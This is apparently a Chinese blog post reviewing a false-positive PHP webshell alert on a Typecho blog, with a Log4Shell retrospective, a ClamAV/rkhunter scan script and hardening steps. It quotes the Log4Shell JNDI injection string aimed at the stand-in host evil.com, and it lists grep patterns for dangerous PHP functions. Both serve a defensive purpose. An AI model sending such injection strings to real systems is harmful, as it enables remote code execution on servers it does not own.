「误报木马」:一次安全告警的复盘与思考

0 | 为什么又写安全

2021 年底那场 Log4j / Log4Shell 崩天动地:一句

java 复制代码
${jndi:ldap://evil.com/a}

把全球 Java 服务搞到连夜加班。从那以后我对 "一行代码就穿云箭" 的安全事件格外敏感。上周京东云突然提示 "PHP 木马·严重" ,而我只在这台 Rocky Linux 9 小主机上跑了一个从零搭建的 Typecho 博客。

怀疑人生爬日志ClamAV/RKHunter误报复盘,过程像 2021 的戏码翻拍一次。把这两件事放一起写,算给后来人一个避坑手册,也给自己一个安慰:安全没终点,只有不断修正坐标。


1 | Log4Shell:安全「黑天鹅」教会了我什么

时间线 关键点 现实映射
2021‑11‑24 Alibaba Cloud 报告 Apache 基金会 0‑day 已被野外利用 很多公司"代码升级难 + 测试跑不完"
2021‑12‑10 PoC & 漏洞细节公开 JNDI + 远程代码执行 开源依赖随便引就能炸
2021‑12‑16 官方"3 连补" 2.15.0 → 2.17.1 补丁即破坏------灰度发布策略的重要性
后续 连锁漏洞 CVE‑2021‑45046 等 一旦打补丁晚,纵深防御救命

我学到的三个字: 默认不可信

只要有动态解析+远程输入,就别指望框架开发者能帮你想全安全。


2 | 我的主机告警事件

2.1 告警邮件

提了工单告诉我要单独购买应急响应服务 点进去一看,特喵的要5w,没事我这小服务器,自己学习用,不怕我忍

2.2 现场应急

bash 复制代码
#!/usr/bin/env bash
# rockylinux_webshell_scan.sh
#
# 目的:
#   对报告有 PHP webshell 入侵的 Rocky Linux 9 Web 服务器进行自动化初步检测
#   1. 更新操作系统和杀毒软件签名
#   2. 安装 ClamAV 和 rkhunter 工具
#   3. 扫描 /var/www 目录查找恶意软件和可疑的 PHP 代码
#   4. 收集基本的取证信息(最近修改的 PHP 文件、可疑函数、监听端口、活跃进程)
#
# 使用方法:
#   sudo bash rockylinux_webshell_scan.sh
#
# 输出:
#   所有日志将写入到 /root/security_scan_<时间戳>/ 目录
#
set -e  # 遇到错误立即退出脚本 [风险点1: 可能导致在关键步骤失败时整个脚本终止]

# 创建日志目录,使用当前时间作为目录名的一部分
LOG_DIR="/root/security_scan_$(date +%F_%H%M%S)"
mkdir -p "$LOG_DIR"  # [风险点2: 未检查目录创建是否成功]

echo "[*] 正在更新系统软件包..." | tee -a "$LOG_DIR/scan.log"
dnf -y update >>"$LOG_DIR/dnf_update.log" 2>&1  # [风险点3: 强制更新可能导致服务中断]

echo "[*] 正在安装依赖项 (EPEL, ClamAV, rkhunter)..." | tee -a "$LOG_DIR/scan.log"
dnf -y install epel-release >>"$LOG_DIR/epel.log" 2>&1
dnf -y install clamav clamav-update rkhunter >>"$LOG_DIR/pkg_install.log" 2>&1  # [风险点4: 未检查安装是否成功]

echo "[*] 正在更新 ClamAV 病毒库签名..." | tee -a "$LOG_DIR/scan.log"
freshclam >>"$LOG_DIR/freshclam.log" 2>&1 || true  # [风险点5: 失败也继续,但未记录失败状态]

echo "[*] 正在对 /var/www 目录执行 ClamAV 递归扫描..." | tee -a "$LOG_DIR/scan.log"
clamscan -ri /var/www >>"$LOG_DIR/clamscan_www.log" 2>&1 || true  # [风险点6: 未指定内存限制,可能导致大文件扫描时内存溢出]

echo "[*] 正在更新 rkhunter 数据库并运行扫描 ..." | tee -a "$LOG_DIR/scan.log"
rkhunter --update >>"$LOG_DIR/rkhunter_update.log" 2>&1 || true
rkhunter --propupd -q || true  # [风险点7: 自动更新系统文件属性可能误判为修改]
rkhunter -c --enable all --sk --rwo >>"$LOG_DIR/rkhunter_scan.log" 2>&1 || true

echo "[*] 正在搜索可疑的 PHP 函数 ..." | tee -a "$LOG_DIR/scan.log"
# [风险点8: grep搜索模式不够全面,可能漏检加密或变形的webshell]
grep -R --line-number --color=never -E "(base64_decode|eval\\(|assert\\(|system\\(|shell_exec\\(|passthru\\(|exec\\(|popen\\(|proc_open\\()" /var/www 2>/dev/null >"$LOG_DIR/php_suspicious_functions.txt" || true

echo "[*] 正在列出最近修改的 PHP 文件(过去3天)..." | tee -a "$LOG_DIR/scan.log"
find /var/www -type f -name "*.php" -mtime -3 -print0 | xargs -0 ls -l >"$LOG_DIR/php_recent.txt" || true  # [风险点9: 只检查.php扩展名,可能漏检其他类型文件]

echo "[*] 正在捕获网络监听端口和进程信息 ..." | tee -a "$LOG_DIR/scan.log"
ss -tulpn >"$LOG_DIR/listening_ports.txt"  # 显示所有TCP和UDP监听端口
ps aux --sort=-%cpu | head -n 40 >"$LOG_DIR/top_processes.txt"  # [风险点10: 限制为前40个进程可能漏掉重要但不占CPU的恶意进程]

echo "[*] 扫描完成。取证信息已保存至 $LOG_DIR"  # [风险点11: 没有提供扫描结果摘要]
  1. 快照 + 只读模式

    bash 复制代码
    systemctl stop nginx
    mount -o remount,ro /
  2. ClamAV 全盘扫描

    • 0 感染,但 /proc 大量 pread fail
  3. rkhunter

    • 仅提示 /dev/shm/PostgreSQL.*、RabbitMQ GC 日志,确认非 rootkit。
  4. grep 高危函数

    • 命中两条:eval("$string")(Typecho 官方 i18n)、注释里的 eval()
bash 复制代码
sudo grep -R --line-number -E \ 'eval\(|assert\(|preg_replace.*\/e|create_function|system\(|shell_exec\(|proc_open\(|passthru\(' \ --include='*.php' /var/www 2>/dev/null | head -n 200
  1. 监听端口 & 进程

    • RocketMQ、GitLab、Jenkins、Redis......是我自己装的。

2.3 根因:后台在线编辑器 admin/theme-editor.php

  • 官方文件,含写模板能力------云安全把它当"潜在木马"标红。
  • 因为主题目录属主是 root,PHP 进程无写权,所以真正落地风险低。
  • 道理同 Log4Shell:功能设计本身就是漏洞,只要运维失手一秒即可被利用。

3 | 我做的 8 条修复

优先级 动作 命令/配置
P0 删除在线编辑器 mv theme-editor.php theme-editor.php.bak
P0 上传目录可写,其余只读 chown -R root:root, chown apache:apache usr/uploads
P0 禁 root 密码登录 PermitRootLogin prohibit-password
P1 disable_functions exec,passthru,shell_exec,system,proc_open,popen,assert
P1 开启 open_basedir /var/www/typecho:/tmp
P1 Nginx 白名单解析 `if ($request_filename !~ "^/var/www/typecho/(index
P2 Fail2ban + WAF 拦截非法 POST/上传
P2 自动化扫描基线 clamdscan + rkhunter --propupd + systemd timer

结果:京东云高危告警归零,自己心也稳了。


4 | 思考

  1. 功能 = 权限 × 输入

    能写文件、能 eval 的功能默认高危。上线前问自己一句:

    "它真的必须在线?不能改成离线脚本吗?"

  2. 最小权限即最后护城河

    • Web 进程 + 只读模板 + 只写 uploads。
  3. WAF / Nginx "正向白名单" 比黑名单靠谱

    • 只解析特定目录的 .php
  4. 定时"增量扫描 + 基线比对" > 全盘漫扫

    • rkhunter/AIDE 监控改动,ClamAV 扫增量。
  5. 防守思维迁移:从"补洞"到"收敛攻击面"

    • 与其问"能不能防所有 0‑day",不如先把 可写可执行 面积减半。
相关推荐
牛奔3 小时前
Go 如何避免频繁抢占?
开发语言·后端·golang
想用offer打牌7 小时前
MCP (Model Context Protocol) 技术理解 - 第二篇
后端·aigc·mcp
KYGALYX9 小时前
服务异步通信
开发语言·后端·微服务·ruby
Hello.Reader9 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
掘了9 小时前
「2025 年终总结」在所有失去的人中,我最怀念我自己
前端·后端·年终总结
爬山算法9 小时前
Hibernate(90)如何在故障注入测试中使用Hibernate?
java·后端·hibernate
智驱力人工智能10 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
七夜zippoe10 小时前
CANN Runtime任务描述序列化与持久化源码深度解码
大数据·运维·服务器·cann
Moment10 小时前
富文本编辑器在 AI 时代为什么这么受欢迎
前端·javascript·后端
数据与后端架构提升之路10 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全